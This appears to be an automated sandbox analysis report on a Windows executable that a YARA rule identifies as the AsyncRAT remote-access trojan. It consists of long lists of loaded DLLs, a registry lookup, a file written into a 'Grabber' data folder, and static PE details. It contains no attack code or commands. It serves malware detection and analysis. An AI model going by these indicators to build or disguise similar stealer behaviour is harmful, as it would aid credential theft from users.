Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

File written: C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: JGvCEaqruI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: JGvCEaqruI.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: JGvCEaqruI.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: winload_prod.pdb source: Temp.txt.8.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.8.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.8.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.8.dr
Source:	Binary string: hqLJs.pdb source: JGvCEaqruI.exe
Source:	Binary string: hqLJs.pdbSHA256X source: JGvCEaqruI.exe

Source: JGvCEaqruI.exe

Static PE information: 0xD6E4B608 [Fri Mar 31 03:50:32 2084 UTC]

Source: C:\Users\user\Desktop\JGvCEaqruI.exe

Code function: 8_2_05F0EC58 push esp; iretd

8_2_05F0EC59

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.JGvCEaqruI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.4679000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.464d3e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.JGvCEaqruI.exe.45bb978.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3741291643.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1281952275.00000000045BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: JGvCEaqruI.exe PID: 7268, type: MEMORYSTR

Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JGvCEaqruI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
